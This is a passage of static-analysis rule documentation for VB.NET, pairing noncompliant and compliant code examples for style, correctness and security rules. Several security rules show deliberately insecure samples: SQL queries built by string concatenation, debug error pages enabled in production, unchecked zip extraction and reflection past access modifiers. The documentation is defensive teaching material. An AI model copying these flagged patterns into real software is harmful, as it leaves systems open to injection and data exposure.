    entry.ExtractToFile(destinationPath) ' Sensitive, extracts the entry to a file

    Dim stream As Stream
    stream = entry.Open() ' Sensitive, the entry is about to be extracted
Next

See

vbnet:S1481

If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for.

Noncompliant Code Example

Public Function NumberOfMinutes(ByVal hours As Integer) As Integer
    Dim seconds As Integer = 0 ' Seconds never used
    Return hours * 60
End Function

Compliant Solution

Public Function NumberOfMinutes(ByVal hours As Integer) As Integer
    Return hours * 60
End Function

Exceptions

Unused locally created resources in a Using statement are not reported.

Using t = New TestTimer()
End Using
vbnet:S1645

Consistently using the & operator for string concatenation make the developer intentions clear.

&, unlike +, will convert its operands to strings and perform an actual concatenation.

+ on the other hand can be an addition, or a concatenation, depending on the operand types.

Noncompliant Code Example

Module Module1
    Sub Main()
        Console.WriteLine("1" + 2) ' Noncompliant - will display "3"
    End Sub
End Module

Compliant Solution

Module Module1
    Sub Main()
        Console.WriteLine(1 & 2)   ' Compliant - will display "12"
        Console.WriteLine(1 + 2)   ' Compliant - but will display "3"
        Console.WriteLine("1" & 2) ' Compliant - will display "12"
    End Sub
End Module
vbnet:S2339

Constant members are copied at compile time to the call sites, instead of being fetched at runtime.

As an example, say you have a library with a constant Version member set to 1.0, and a client application linked to it. This library is then updated and Version is set to 2.0. Unfortunately, even after the old DLL is replaced by the new one, Version will still be 1.0 for the client application. In order to see 2.0, the client application would need to be rebuilt against the new version of the library.

This means that you should use constants to hold values that by definition will never change, such as Zero. In practice, those cases are uncommon, and therefore it is generally better to avoid constant members.

This rule only reports issues on public constant fields, which can be reached from outside the defining assembly.

Noncompliant Code Example

Public Class Foo
    Public Const Version = 1.0           ' Noncompliant
End Class

Compliant Solution

Public Class Foo
    Public Shared ReadOnly Property Version = 1.0 ' Compliant
End Class
vbnet:S2737

A Catch clause that only rethrows the caught exception has the same effect as omitting the Catch altogether and letting it bubble up automatically, but with more code and the additional detriment of leaving maintainers scratching their heads.

Such clauses should either be eliminated or populated with the appropriate logic.

Noncompliant Code Example

Dim s As String = ""
Try
    s = File.ReadAllText(fileName)
Catch e As Exception
    Throw
End Try

Compliant Solution

Dim s As String = ""
Try
    s = File.ReadAllText(fileName)
Catch e As Exception
    logger.LogError(e)
    Throw
End Try

or

Dim s As String = File.ReadAllText(fileName)

Exceptions

This rule will not generate issues for Catch blocks with just Throw inside if they are followed by a Catch block for a more general exception type that does more than just rethrowing the exception.

Dim s As String = ""
Try
    s = File.ReadAllText(fileName)
Catch e As IOException 'Compliant, if removed will change the logic
    Throw
Catch e As Exception 'Compliant, does more than just rethrow
    logger.LogError(e)
    Throw
End Try
vbnet:S3385

Other than Exit Select, using an Exit statement is never a good idea.

Exit Do, Exit For, Exit Try, and Exit While will all result in unstructured control flow, i.e. spaghetti code.

Exit Function, Exit Property, and Exit Sub are all poor, less-readable substitutes for a simple return, and if used with code that should return a value (Exit Function and in some cases Exit Property) they could result in a NullReferenceException.

This rule raises an issue for all uses of Exit except Exit Select and Exit Do statements in loops without condition.

Noncompliant Code Example

Public Class Sample
  Dim condition As Boolean

  Public Sub MySub()
    If condition Then
      Exit Sub                  ' Noncompliant
    End If

    For index = 1 To 10
      If index = 5 Then
          Exit For               ' Noncompliant
      End If
      ' ...
    Next
  End Sub
  Function MyFunction() As Object
    ' ...
    MyFunction = 42
    Exit Function              ' Noncompliant
  End Function
End Class

Compliant Solution

Public Class Sample
  Dim condition As Boolean

  Public Sub MySub()
    If condition Then
        Return
    End If

    For index = 1 To 4
        ' ...
    Next
  End Sub
  Function MyFunction() As Object
    ' ...
    Return 42
  End Function
End Class
vbnet:S101

Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that all class names match a provided regular expression.

The default configuration is the one recommended by Microsoft:

  • Pascal casing, starting with an upper case character, e.g. BackColor
  • Short abbreviations of 2 letters can be capitalized, e.g. GetID
  • Longer abbreviations need to be lower cased, e.g. GetHtml

Noncompliant Code Example

With the default regular expression ^([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$:

Class foo ' Noncompliant
End Class

Compliant Solution

Class Foo ' Compliant
End Class
vbnet:S2178

The use of non-short-circuit logic in a boolean context is likely a mistake - one that could cause serious program errors as conditions are evaluated under the wrong circumstances.

Noncompliant Code Example

If GetTrue() Or GetFalse() Then ' Noncompliant; both sides evaluated
End If

Compliant Solution

If GetTrue() OrElse GetFalse() Then ' true short-circuit logic
End If

See

  • CERT, EXP46-C. - Do not use a bitwise operator with a Boolean-like operand
vbnet:S1125

Redundant Boolean literals should be removed from expressions to improve readability.

Noncompliant Code Example

If BooleanMethod() = True Then ' Noncompliant
  ' ...
End If
If BooleanMethod() = False Then ' Noncompliant
  ' ...
End If
If BooleanMethod() OrElse False Then ' Noncompliant
  ' ...
End If
DoSomething(Not False) ' Noncompliant
DoSomething(BooleanMethod() = True) ' Noncompliant

Dim booleanVariable = If(BooleanMethod(), True, False) ' Noncompliant
booleanVariable = If(BooleanMethod(), True, exp) ' Noncompliant
booleanVariable = If(BooleanMethod(), False, exp) ' Noncompliant
booleanVariable = If(BooleanMethod(), exp, True) ' Noncompliant
booleanVariable = If(BooleanMethod(), exp, False) ' Noncompliant

Compliant Solution

If BooleanMethod() Then
  ' ...
End If
If Not BooleanMethod() Then
  ' ...
End If
If BooleanMethod() Then
  ' ...
End If
DoSomething(True)
DoSomething(BooleanMethod())

Dim booleanVariable = BooleanMethod()
booleanVariable = BooleanMethod() OrElse exp
booleanVariable = Not BooleanMethod() AndAlso exp
booleanVariable = Not BooleanMethod() OrElse exp
booleanVariable = BooleanMethod() AndAlso exp
vbnet:S1764

Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified.

This rule ignores *, +, &, <<, and >>.

Noncompliant Code Example

If (a = a) Then
  doZ()
End If

If a = b OrElse a = b Then
  doW()
End If

Dim j = 5 / 5
j = 5 \ 5
j = 5 Mod 5
Dim k = 5 - 5

Dim i = 42
i /= i
i -= i

Exceptions

This rule ignores *, +, and =.

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • S1656 - Implements a check on =.
vbnet:S1643

StringBuilder is more efficient than string concatenation, especially when the operator is repeated over and over as in loops.

Noncompliant Code Example

Module Module1
    Sub Main()
        Dim foo = ""
        foo &= "Result: "       ' Compliant - outside of loop

        For i = 1 To 9
            foo &= i            ' Noncompliant
        Next
    End Sub
End Module

Compliant Solution

Module Module1
    Sub Main()
        Dim foo = New System.Text.StringBuilder
        foo.Append("Result: ")  ' Compliant

        For i = 1 To 9
            foo.Append(i)       ' Compliant
        Next
    End Sub
End Module
vbnet:S1479

When Select Case statements have large sets of case clauses, it is usually an attempt to map two sets of data. A Dictionary should be used instead to make the code more readable and maintainable.

Noncompliant Code Example

With a "Maximum number of case" set to 4

Public Class TooManyCase

    Public Function SelectCase(Ch As Char) As Integer
        Select Case Ch
            Case "a"c
                Return 1
            Case "b"c, "c"c
                Return 2
            Case "d"c
                Return 3
            Case "e"c
                Return 4
            Case "f"c, "g"c, "h"c
                Return 5
            Case Else
                Return 6
        End Select
    End Function

End Class

Compliant Solution

Public Class TooManyCase

    Private fMatching As New Dictionary(Of Char, Integer) From {
            {"a"c, 1}, {"b"c, 2}, {"c"c, 2}, {"d"c, 3},
            {"e"c, 4}, {"f"c, 5}, {"g"c, 5}, {"h"c, 5},
        }

    Public Function SelectCase(Ch As Char) As Integer
        Dim Value As Integer
        If fMatching.TryGetValue(Ch, Value) Then
            Return Value
        Else
            Return 6
        End If
    End Function

End Class

Exceptions

This rule ignores Select Cases over Enums and empty, fall-through cases.

vbnet:S4507

Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities:

An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users.

Ask Yourself Whether

  • the code or configuration enabling the application debug features is deployed on production servers.
  • the application runs by default with debug features activated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Do not enable debug features on production servers.

The .Net Core framework offers multiple features which help during debug. Microsoft.AspNetCore.Builder.IApplicationBuilder.UseDeveloperExceptionPage and Microsoft.AspNetCore.Builder.IApplicationBuilder.UseDatabaseErrorPage are two of them. Make sure that those features are disabled in production.

Use If env.IsDevelopment() to disable debug code.

Sensitive Code Example

This rule raises issues when the following .Net Core methods are called: Microsoft.AspNetCore.Builder.IApplicationBuilder.UseDeveloperExceptionPage, Microsoft.AspNetCore.Builder.IApplicationBuilder.UseDatabaseErrorPage.

Imports Microsoft.AspNetCore.Builder
Imports Microsoft.AspNetCore.Hosting

Namespace MyMvcApp
    Public Class Startup
        Public Sub Configure(ByVal app As IApplicationBuilder, ByVal env As IHostingEnvironment)
            ' Those calls are Sensitive because it seems that they will run in production
            app.UseDeveloperExceptionPage() 'Sensitive
            app.UseDatabaseErrorPage() 'Sensitive
        End Sub
    End Class
End Namespace

Compliant Solution

Imports Microsoft.AspNetCore.Builder
Imports Microsoft.AspNetCore.Hosting

Namespace MyMvcApp
    Public Class Startup
        Public Sub Configure(ByVal app As IApplicationBuilder, ByVal env As IHostingEnvironment)
            If env.IsDevelopment() Then ' Compliant
                ' The following calls are ok because they are disabled in production
                app.UseDeveloperExceptionPage()
                app.UseDatabaseErrorPage()
            End If
        End Sub
    End Class
End Namespace

See

vbnet:S4586

Returning Nothing from a non-async Task/Task(Of T) method will cause a NullReferenceException at runtime. This problem can be avoided by returning Task.FromResult(Of T)(Nothing) instead.

Noncompliant Code Example

Public Function GetFooAsync() As Task(Of Object)
    Return Nothing
End Function

Compliant Solution

Public Function GetFooAsync() As Task(Of Object)
    Return Task.FromResult(Of Object)(Nothing)
End Function
vbnet:S1075

Hard coding a URI makes it difficult to test a program: path literals are not always portable across operating systems, a given absolute path may not exist on a specific test environment, a specified Internet URL may not be available when executing the tests, production environment filesystems usually differ from the development environment, ...etc. For all those reasons, a URI should never be hard coded. Instead, it should be replaced by customizable parameter.

Further even if the elements of a URI are obtained dynamically, portability can still be limited if the path-delimiters are hard-coded.

This rule raises an issue when URI's or path delimiters are hard coded.

See

vbnet:S1197

Array designators should always be located on the type for better code readability. Otherwise, developers must look both at the type and the variable name to know whether or not a variable is an array.

Noncompliant Code Example

Module Module1
    Sub Main()
        Dim foo() As String ' Noncompliant
    End Sub
End Module

Compliant Solution

Module Module1
    Sub Main()
        Dim foo As String() ' Compliant
    End Sub
End Module
vbnet:S3011

This rule raises an issue when reflection is used to change the visibility of a class, method or field, and when it is used to directly update a field value. Altering or bypassing the accessibility of classes, methods, or fields violates the encapsulation principle and could lead to run-time errors.

Noncompliant Code Example

Imports System.Reflection

Dim dynClass = Type.GetType("MyInternalClass")
' Sensitive. Using BindingFlags.NonPublic will return non-public members
Dim bindingAttr As BindingFlags = BindingFlags.NonPublic Or BindingFlags.Static
Dim dynMethod As MethodInfo = dynClass.GetMethod("mymethod", bindingAttr)
Dim result = dynMethod.Invoke(dynClass, Nothing)

See

  • CERT, SEC05-J. - Do not use reflection to increase accessibility of classes, methods, or fields
vbnet:S1110

The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed.

Noncompliant Code Example

If a AndAlso ((x + y > 0)) Then ' Noncompliant
    ' ...
End If

Return ((x + 1))  ' Noncompliant

Compliant Solution

If a AndAlso x + y > 0 Then
    ' ...
End If

Return (x + 1)
vbnet:S1871

Having two Cases in the same Select statement or branches in the same If structure with the same implementation is at best duplicate code, and at worst a coding error. If the same logic is truly needed for both instances, then in an If structure they should be combined, or for a Select, one should fall through to the other.

Noncompliant Code Example

Select i
  Case 1
    DoFirst()
    DoSomething()
  Case 2
    DoSomethingDifferent()
  Case 3  ' Noncompliant; duplicates case 1's implementation
    DoFirst()
    DoSomething()
  Case Else:
    DoTheRest()
End Select

If a >= 0 AndAlso a < 10 Then
  DoFirst()
  DoTheThing()
ElseIf a >= 10 AndAlso a < 20 Then
  DoTheOtherThing()
ElseIf a >= 20 AndAlso a < 50   ' Noncompliant; duplicates first condition
  DoFirst()
  DoTheThing()
Else
  DoTheRest();
End If

Exceptions

Blocks in an If chain or Case clause that contain a single line of code are ignored.

If a >= 0 AndAlso a < 10 Then
  DoTheThing()
ElseIf a >= 10 AndAlso a < 20 Then
  DoTheOtherThing()
ElseIf a >= 20 AndAlso a < 50   ' no issue, usually this is done on purpose to increase the readability
  DoTheThing()
End If

But this exception does not apply to If chains without Else-s, or to Select-s without Case Else clauses when all branches have the same single line of code. In case of If chains with Else-s, or of Select-es with Case Else clauses, rule S3923 raises a bug.

If a >= 0 AndAlso a < 10 Then
  DoTheThing()
ElseIf a >= 10 AndAlso a < 20 Then
  DoTheOtherThing()  ' Noncompliant, this might have been done on purpose but probably not
End If
vbnet:S1751

A loop with at most one iteration is equivalent to the use of an if statement to conditionally execute one piece of code. No developer expects to find such a use of a loop statement. If the initial intention of the author was really to conditionally execute one piece of code, an if statement should be used instead.

At worst that was not the initial intention of the author and so the body of the loop should be fixed to use the nested return, break or throw statements in a more appropriate way.

Noncompliant Code Example

For i As Integer = 0 To 10   'noncompliant, loop only executes once
  foo(i)
  Exit For
Next
...
For i As Integer = 0 To 10   'noncompliant, loop only executes once
  If i = Something
    Exit For
  Else
    foo(i)
    Return
  End If
Next

Compliant Solution

For i As Integer = 0 To 10
  foo(i)
Next
...
For i As Integer = 0 To 10
  If i = Something
    Exit For
  Else
    foo(i)
  End If
Next
vbnet:S3776

Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain.

See

vbnet:S117

Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate.This rule checks that all local variables follow a naming convention.

The default configuration is:

  • Camel casing, starting with a lower case character, e.g. backColor
  • Short abbreviations of 2 letters can be capitalized only when not at the beginning, e.g. id, productID
  • Longer abbreviations need to be lower cased, e.g. html

Noncompliant Code Example

With the default regular expression ^[a-z][a-z0-9]*([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$:

Module Module1
    Sub Main()
        Dim Foo = 0 ' Noncompliant
    End Sub
End Module

Compliant Solution

Module Module1
    Sub Main()
        Dim foo = 0 ' Compliant
    End Sub
End Module
vbnet:S114

Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate.

This rule allows to check that all interface names match a provided regular expression.

The default configuration is the one recommended by Microsoft:

  • Must start with an upper case 'I' character, e.g. IFoo
  • Followed by Pascal casing, starting with an upper case character, e.g. IEnumerable
  • Short abbreviations of 2 letters can be capitalized, e.g. IFooID
  • Longer abbreviations need to be lower cased, e.g. IFooHtml

Noncompliant Code Example

With the default regular expression ^I([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$:

Interface Foo  ' Noncompliant
End Interface

Compliant Solution

Interface IFoo ' Compliant
End Interface
vbnet:S3603

Marking a method with the Pure attribute specifies that the method doesn't make any visible changes; thus, the method should return a result, otherwise the call to the method should be equal to no-operation. So Pure on a void method is either a mistake, or the method doesn't do any meaningful task.

Noncompliant Code Example

Class Person
    Private age As Integer

    <Pure> ' Noncompliant. In this case the method makes a possibly visible state change
    Private Sub ConfigureAge(ByVal age As Integer)
        ...
        Me.age = age
    End Sub
End Class

Compliant Solution

Class Person
    Private age As Integer

    Private Sub ConfigureAge(ByVal age As Integer)
        Me.age = age
    End Sub
End Class
vbnet:S3449

Numbers can be shifted with the << and >> operators, but the right operand of the operation needs to be an int or a type that has an implicit conversion to int. However, with dynamic, the compiler's type checking is turned off, so you can pass anything to a shift operator and have it compile. And if the argument can't be converted to int at runtime, then a RuntimeBinderException will be raised.

Noncompliant Code Example

Dim o As Object = 5
Dim x As Integer = 5

x = o >> 5 ' Noncompliant
x = x >> o ' Noncompliant

Exceptions

This rule does not raise when the left or the right expression is Nothing.

x = Nothing >> 5
x = 5 >> Nothing
vbnet:S2359

Prefer the use of Try ... Catch blocks instead of On Error statements.

Visual Basic .NET and Visual Basic 2005 offer structured exception handling that provides a powerful, more readable alternative to the On Error Goto error handling from previous versions of Microsoft Visual Basic. Structured exception handling is more powerful because it allows you to nest error handlers inside other error handlers within the same procedure. Furthermore, structured exception handling uses a block syntax similar to the If...Else...End If statement. This makes Visual Basic .NET and Visual Basic 2005 code more readable and easier to maintain.

Noncompliant Code Example

Sub DivideByZero()
  On Error GoTo nextstep
  Dim result As Integer
  Dim num As Integer
  num = 100
  result = num / 0
nextstep:
  System.Console.WriteLine("Error")
End Sub

Compliant Solution

Sub DivideByZero()
  Try
    Dim result As Integer
    Dim num As Integer
    num = 100
    result = num / 0
  Catch
    System.Console.WriteLine("Error")
  End Try
End Sub
vbnet:S1821

Nested Select Case structures are difficult to understand because you can easily confuse the cases of an inner Select Case as belonging to an outer statement. Therefore nested Select Case statements should be avoided.

Specifically, you should structure your code to avoid the need for nested Select Case statements, but if you cannot, then consider moving the inner Select Case to another function.

Noncompliant Code Example

Public Sub Foo(A As Integer, B As Integer)
    Select Case A
        Case 0
            ' ...
        Case 1
            Select Case B   ' Noncompliant; nested Select Case
                Case 2
                    ' ...
                Case 3
                    ' ...
                Case 4
                    ' ...
                Case Else
                    ' ...
            End Select
        Case 2
            ' ...
        Case Else
            ' ...
    End Select
End Sub

Compliant Solution

Public Sub Foo(A As Integer, B As Integer)
    Select Case A
        Case 0
            ' ...
        Case 1
            HandleB(B)
        Case 2
            ' ...
        Case Else
            ' ...
    End Select
End Sub
vbnet:S2757

The use of operators pairs ( =+ or =-) where the reversed, single operator was meant (+= or -=) will compile and run, but not produce the expected results.

This rule raises an issue when =+ or =- is used without any spacing between the two operators and when there is at least one whitespace character after.

Noncompliant Code Example

Dim target As Integer = -5
Dim num As Integer = 3

target =- num ' Noncompliant; target = -3. Is that really what's meant?
target =+ num ' Noncompliant; target = 3

Compliant Solution

Dim target As Integer = -5
Dim num As Integer = 3

target = -num ' Compliant; intent to assign inverse value of num is clear
target += num
vbnet:S4818

Using sockets is security-sensitive. It has led in the past to the following vulnerabilities:

Sockets are vulnerable in multiple ways:

  • They enable a software to interact with the outside world. As this world is full of attackers it is necessary to check that they cannot receive sensitive information or inject dangerous input.
  • The number of sockets is limited and can be exhausted. Which makes the application unresponsive to users who need additional sockets.

This rules flags code that creates sockets. It matches only the direct use of sockets, not use through frameworks or high-level APIs such as the use of http connections.

Ask Yourself Whether

  • sockets are created without any limit every time a user performs an action.
  • input received from sockets is used without being sanitized.
  • sensitive data is sent via sockets without being encrypted.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • In many cases there is no need to open a socket yourself. Use instead libraries and existing protocols.
  • Encrypt all data sent if it is sensitive. Usually it is better to encrypt it even if the data is not sensitive as it might change later.
  • Sanitize any input read from the socket.
  • Limit the number of sockets a given user can create. Close the sockets as soon as possible.

Sensitive Code Example

Imports System.Net.Sockets

Public Class Sockets

    Public Shared Sub Run()
        ' Sensitive
        Dim socket As Socket = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)

        ' TcpClient And UdpClient simply abstract the details of creating a Socket
        Dim client As TcpClient = New TcpClient("example.com", 80) ' Sensitive
        Dim listener As UdpClient = New UdpClient(80)   ' Sensitive
    End Sub

End Class

See

Deprecated

This rule is deprecated, and will eventually be removed.

vbnet:S2077

Formatting strings used as SQL queries is security-sensitive. It has led in the past to the following vulnerabilities:

SQL queries often need to use a hardcoded SQL string with a dynamic parameter coming from a user request. Formatting a string to add those parameters to the request is a bad practice as it can result in an SQL injection. The safe way to add parameters to a SQL query is to use SQL binding mechanisms.

This rule flags the execution of SQL queries which are built using formatting of strings, even if there is no injection. This rule does not detect SQL injections. The goal is to guide security code reviews and to prevent a common bad practice.

The following specific method signatures are tested:

  • System.Data.SqlClient.SqlCommand.SqlCommand(string, ...)
  • System.Data.SqlClient.SqlDataAdapter.SqlDataAdapter(string, ...)
  • System.Data.Odbc.OdbcCommand.OdbcCommand(string, ...)
  • System.Data.Odbc.OdbcDataAdapter.OdbcDataAdapter(string, ...)
  • System.Data.SqlServerCe.SqlCeCommand.SqlCeCommand(string, ...)
  • System.Data.SqlServerCe.SqlCeDataAdapter.SqlCeDataAdapter(string, ...)
  • System.Data.OracleClient.OracleCommand.OracleCommand(string, ...)
  • System.Data.OracleClient.OracleDataAdapter.OracleDataAdapter(string, ...)
  • Microsoft.EntityFrameworkCore.RelationalDatabaseFacadeExtensions.ExecuteSqlCommand(...)
  • Microsoft.EntityFrameworkCore.RelationalDatabaseFacadeExtensions.ExecuteSqlCommandAsync(...)
  • Microsoft.EntityFrameworkCore.RelationalQueryableExtensions.FromSql<TEntity>(System.Linq.IQueryable<TEntity>, System.FormattableString)
  • System.Data.SqlClient.SqlCommand.CommandText.set
  • System.Data.Odbc.OdbcCommand.CommandText.set
  • System.Data.SqlServerCe.SqlCeCommand.CommandText.set
  • System.Data.OracleClient.OracleCommand.CommandText.set

The following formatting methods will raise an issue:

  • String.Concat
  • String.Format

Ask Yourself Whether

  • the SQL query is built using string formatting technics, such as concatenating variables.
  • some of the values are coming from an untrusted source and are not sanitized.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Avoid building queries manually using formatting technics. If you do it anyway, do not include user input in this building process.
  • Use parameterized queries, prepared statements, or stored procedures whenever possible.
  • You may also use ORM frameworks such as Hibernate which, if used correctly, reduce injection risks.
  • Avoid executing SQL queries containing unsafe input in stored procedures or functions.
  • Sanitize every unsafe input.

You can also reduce the impact of an attack by using a database account with low privileges.

Sensitive Code Example

Public Sub SqlCommands(ByVal connection As SqlConnection, ByVal query As String, ByVal param As String)
    Dim sensitiveQuery As String = String.Concat(query, param)
    command = New SqlCommand(sensitiveQuery) ' Sensitive

    command.CommandText = sensitiveQuery ' Sensitive

    Dim adapter As SqlDataAdapter
    adapter = New SqlDataAdapter(sensitiveQuery, connection) ' Sensitive
End Sub

Public Sub Foo(ByVal context As DbContext, ByVal query As String, ByVal param As String)
    Dim sensitiveQuery As String = String.Concat(query, param)
    context.Database.ExecuteSqlCommand(sensitiveQuery) ' Sensitive

    context.Query(Of User)().FromSql(sensitiveQuery) ' Sensitive
End Sub

Compliant Solution

Public Sub Foo(ByVal context As DbContext, ByVal value As String)
    context.Database.ExecuteSqlCommand("SELECT * FROM mytable WHERE mycol=@p0", value) ' Compliant, the query is parameterized
End Sub

See

vbnet:S2352

Indexed properties are meant to represent access to a logical collection. When multiple parameters are required, this design guideline may be violated, and refactoring the property into a method is preferable.

Noncompliant Code Example

Module Module1
    ReadOnly Property Sum(ByVal a As Integer, ByVal b As Integer) ' Noncompliant
        Get
            Return a + b
        End Get
    End Property
End Module

Compliant Solution

Module Module1
    Function Sum(ByVal a As Integer, ByVal b As Integer)          ' Compliant
        Return a + b
    End Function
End Module
vbnet:S122

For better readability, do not put more than one statement on a single line.

Noncompliant Code Example

Module Module1
    Sub Main()
        Dim a = 0 : Dim b = 0  ' Noncompliant
    End Sub
End Module

Compliant Solution

Module Module1
    Sub Main()
        Dim a = 0              ' Compliant
        Dim b = 0              ' Compliant
    End Sub
End Module
vbnet:S4136

For clarity, all overloads of the same method should be grouped together. That lets both users and maintainers quickly understand all the current available options.

Noncompliant Code Example

Interface IMyInterface
    Function DoTheThing() As Integer
    Function DoTheOtherThing() As String // Noncompliant
    Function DoTheThing(ByVal Path As String) As Integer
End Interface

Compliant Solution

Interface IMyInterface
    Function DoTheThing() As Integer
    Function DoTheThing(ByVal Path As String) As Integer
    Function DoTheOtherThing() As String
End Interface

Exceptions

As it is common practice to group method declarations by implemented interface, no issue will be raised for interface implementations if grouped together with other members of that interface.

As it is also a common practice to group method declarations by accessibility level, no issue will be raised for method overloads having different access modifiers.

Example:

Class MyClass

    Private Sub DoTheThing(s As String) ' Ok - this method is declared as Private while the other one is Public
        ' ...
    End Sub

    Private Sub DoTheOtherThing(s As String)
        ' ...
    End Sub

    Public Sub DoTheThing()
        ' ...
    End Sub

End Class
vbnet:S2354

To improve the code readability, the explicit line continuation character, _, should not be used. Instead, it is better to break lines after an operator.

Noncompliant Code Example

Module Module1
    Sub Main()
        ' Noncompliant
        Console.WriteLine("Hello" _
                          & "world")
    End Sub
End Module

Compliant Solution

Module Module1
    Sub Main()

        Console.WriteLine("Hello" &
                          "world")
    End Sub
End Module
vbnet:S2353

In most cases, indexed properties should be named Item for consistency. Exceptions are when there exists a name which is obviously better, for example System.String.Chars(System.Int32).

Noncompliant Code Example

Module Module1
    Dim array = {"apple", "banana", "orange", "strawberry"}

    ReadOnly Property Foo(ByVal index As Integer)  ' Noncompliant
        Get
            Return array(index)
        End Get
    End Property
End Module

Compliant Solution

Module Module1
    Dim array = {"apple", "banana", "orange", "strawberry"}

    ReadOnly Property Item(ByVal index As Integer)
        Get
            Return array(index)
        End Get
    End Property
End Module

Deprecated

This rule is deprecated, and will eventually be removed.

vbnet:S1541

The cyclomatic complexity of a function, procedure or property should not exceed a defined threshold. Complex code can perform poorly and will in any case be difficult to understand and therefore to maintain.

vbnet:S1145

if statements with conditions that are always false have the effect of making blocks of code non-functional. if statements with conditions that are always true are completely redundant, and make the code less readable.

There are three possible causes for the presence of such code:

  • An if statement was changed during debugging and that debug code has been committed.
  • Some value was left unset.
  • Some logic is not doing what the programmer thought it did.

In any of these cases, unconditional if statements should be removed.

Noncompliant Code Example

    If True Then ' Noncompliant
      DoSomething()
    End If

    If False Then ' Noncompliant
      DoSomethingElse()
    End If

Compliant Solution

DoSomething();
' ...

See

vbnet:S2355

Array literals are more compact than array creation expressions.

Noncompliant Code Example

Module Module1
    Sub Main()
        Dim foo = New String() {"a", "b", "c"} ' Noncompliant
    End Sub
End Module

Compliant Solution

Module Module1
    Sub Main()
        Dim foo = {"a", "b", "c"}              ' Compliant
    End Sub
End Module
vbnet:S1542

Shared naming conventions allow teams to collaborate efficiently. This rule checks that all subroutine and function names match a provided regular expression.

The default configuration is the one recommended by Microsoft:

  • Pascal casing, starting with an upper case character, e.g. BackColor
  • Short abbreviations of 2 letters can be capitalized, e.g. GetID
  • Longer abbreviations need to be lower cased, e.g. GetHtml
  • Event handlers with a handles clause and two-parameter methods with EventArgs second parameter are not covered by this rule.

Noncompliant Code Example

With the default regular expression ^([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$

Module Module1
  Sub bad_subroutine()                      ' Noncompliant
  End Sub

  Public Function Bad_Function() As Integer ' Noncompliant
    Return 42
  End Function
End Module

Compliant Solution

Module Module1
  Sub GoodSubroutine()                      ' Compliant
  End Sub

  Public Function GoodFunction() As Integer ' Compliant
    Return 42
  End Function
End Module
vbnet:S2234

When the names of parameters in a procedure call match the names of the procedure arguments, it contributes to a clearer, more readable code. However, when the names match but are passed in a different order than the method arguments, it indicates a mistake in the parameter order which will likely lead to unexpected results.

Noncompliant Code Example

Public Function Divide(ByVal divisor As Integer, ByVal dividend As Integer) As Double
    Return divisor / dividend
End Function

Public Sub DoTheThing()
    Dim divisor = 15
    Dim dividend = 5

    Dim result = Divide(dividend, divisor)  ' Noncompliant; operation succeeds, but result is unexpected
    '...
End Sub

Compliant Solution

Public Function Divide(ByVal divisor As Integer, ByVal dividend As Integer) As Double
    Return divisor / dividend
End Function

Public Sub DoTheThing()
    Dim divisor = 15
    Dim dividend = 5

    Dim result = Divide(divisor, dividend)
    '...
End Sub
vbnet:S1147

End statements exit the control flow of the program in an unstructured way. This statement stops code execution immediately without executing Dispose or Finalize methods, or executing Finally blocks. Therefore, it should be avoided.

Noncompliant Code Example

Module Module1
    Sub Print(ByVal str As String)
       Try
            ...
            End       ' Noncompliant
        Finally
            ' do something important here
            ...
        End Try
    End Sub
End Module
vbnet:S2358

The ... IsNot ... syntax is more compact and more readable than the Not ... Is ... syntax.

Noncompliant Code Example

Module Module1
    Sub Main()
        Dim a = Not "a" Is Nothing ' Noncompliant
    End Sub
End Module

Compliant Solution

Module Module1
    Sub Main()
        Dim a = "a" IsNot Nothing  ' Compliant
    End Sub
End Module
vbnet:S1301

switch statements are useful when there are many different cases depending on the value of the same expression.

For just one or two cases however, the code will be more readable with if statements.

Noncompliant Code Example

Select Case variable
    Case 0
        doSomething()
    Case Else
        doSomethingElse()
End Select

Compliant Solution

If variable = 0 Then
    doSomething()
Else
    doSomethingElse()
End If
vbnet:S1940

It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead.

Noncompliant Code Example

If Not (a = 2) Then  // Noncompliant
Dim b as Boolean = Not (i < 10)  // Noncompliant

Compliant Solution

If a <> 2 Then
Dim b as Boolean = i >= 10
vbnet:S2357

Fields should not be part of an API, and therefore should always be private. Indeed, they cannot be added to an interface for instance, and validation cannot be added later on without breaking backward compatibility. Instead, developers should encapsulate their fields into properties. Explicit property getters and setters can be introduced for validation purposes or to smooth the transition to a newer system.

Noncompliant Code Example

Class Foo
    Public Foo = 42          ' Noncompliant
End Class

Compliant Solution

Class Foo
    Public Property Foo = 42 ' Compliant
End Class

Exceptions

Shared and Const fields are ignored.

vbnet:S108

Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed.

Noncompliant Code Example

For Index As Integer = 1 To 42 ' Empty on purpose or missing piece of code?
Next

Compliant Solution

For Index As Integer = 1 To 42
    Process(Index)
Next

Exceptions

When a block contains a comment, this block is not considered to be empty.

vbnet:S107

A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the procedure is doing too many things.

Noncompliant Code Example

With a maximum number of 3 parameters:

Public Sub Foo(ByVal p1 As Integer, ByVal p2 As Integer, ByVal p3 As Integer, ByVal p4 As Integer) ' Noncompliant
  ' ...
End Sub

